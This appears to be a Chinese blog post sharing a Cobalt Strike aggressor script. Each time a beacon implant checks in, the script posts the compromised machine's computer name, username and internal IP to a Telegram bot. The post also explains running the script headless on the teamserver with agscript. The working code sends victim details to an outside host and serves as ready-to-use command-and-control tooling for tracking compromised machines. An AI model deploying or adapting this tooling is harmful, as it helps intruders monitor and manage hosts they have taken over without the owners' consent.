Cobalt Strike beacon上线通知cna脚本
- 2019 年 10 月 7 日
- 筆記
0x01 前言
Cobalt Strike应该是大家耳熟能详的工具了,它支持在客户端添加自定义的cna脚本来扩展功能。
beacon上线后,我们通常想第一时间得知,以前见过msf上线后,tg通知的脚本,于是想找个cs的。
我在github找到了slack的通知脚本slack-notify-beacon.cna,虽然也找到了一个telegram通知的,但是写的太麻烦,还要调用Python,于是自己改写了一个telegram-bot通知的。
0x02 脚本
telegram-notify-beacon.cna
# author: dayu # ------------ set these config: ------------ $bot_token = "xxxxxxx"; $chat_id = 'xxxxxxx'; # Write your group_id or user_id $teamserver_hostname = 'HOSTNAME-1'; # You will reveive message containing it # ------------------------------------------- $tg_bot_webhookURL = 'https://api.telegram.org/bot'.$bot_token.'/sendMessage'; $test_message = 'this is a test message, test success'; @curl_command = @('curl', '-X', 'POST', '--data-urlencode', 'chat_id='.$chat_id, '--data-urlencode', 'text='.$test_message, $tg_bot_webhookURL); exec(@curl_command); on beacon_initial { println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid")); local('$internalIP $computerName $userName'); $internalIP = replace(beacon_info($1, "internal"), " ", "_"); $computerName = replace(beacon_info($1, "computer"), " ", "_"); $userName = replace(beacon_info($1, "user"), " ", "_"); $message = 'Message from '.$teamserver_hostname.' Server%0aBeacon success implant Info Target:%0aComputer name : '.$computerName.'%0aUsername : '.$userName.'%0aIpaddres : '.$internalIP; @curl_command = @('curl', '-X', 'POST', '--data-urlencode', 'chat_id='.$chat_id, '--data', 'text='.$message, $tg_bot_webhookURL); exec(@curl_command); }
需要客户端/服务端支持curl、能够访问tg的api地址(国内访问不到)
原理很简单,beacon_initial 后通过调用os的curl请求webhook,bot的申请教程可以百度,同理可以很简单的改写其他webhook,如:钉钉、Server酱等
telegram的bot申请地址:https://telegram.me/botfather
推荐阅读:
https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=373276
效果图:

0x03 在teamserver上运行cna脚本
把cna脚本添加到本地客户端后,如果beacon上线了,这个webhook的通知请求 是从客户端发出的。
那么问题来了,如果我要接收通知,是不是就得一直开着客户端连着teamserver???
这样就非常不方便了,而且如果网络有波动,断开了到teamserver的连接,就收不到通知了。
有个解决思路,在teamserver服务器上也开一个客户端,直接连到teamserver并添加cna脚本,这样就可以让teamserver服务器发出webhook通知了嘛,而且客户端也不会因为网络波动断开。
由于tm服务器通常是没有桌面环境的linux系统,不能运行界面化的客户端。
teamserver可以运行无界面的客户端专门跑cna脚本,菜鸡的我表示长知识了,命令如下
agscript为cs自带的shell脚本 ./agscript [host] [port] [user] [password] [/path/to/script.cna]
0x04 参考链接
https://github.com/michalkoczwara/aggressor_scripts_collection/blob/master/slack-notify-beacon.cna
https://github.com/wahyuhadi/Pentest/blob/0a2544818281f72b409d91766f810abe512585a3/Red%20Team/cobaltsrike-notif-beacon/notif_telegram.cna

CS目标上线邮件提醒
https://blog.csdn.net/qq_27446553/article/details/79380021
参考来源:Dayu's blog&恩山无线论坛&csdn博客
如有侵权,请联系删除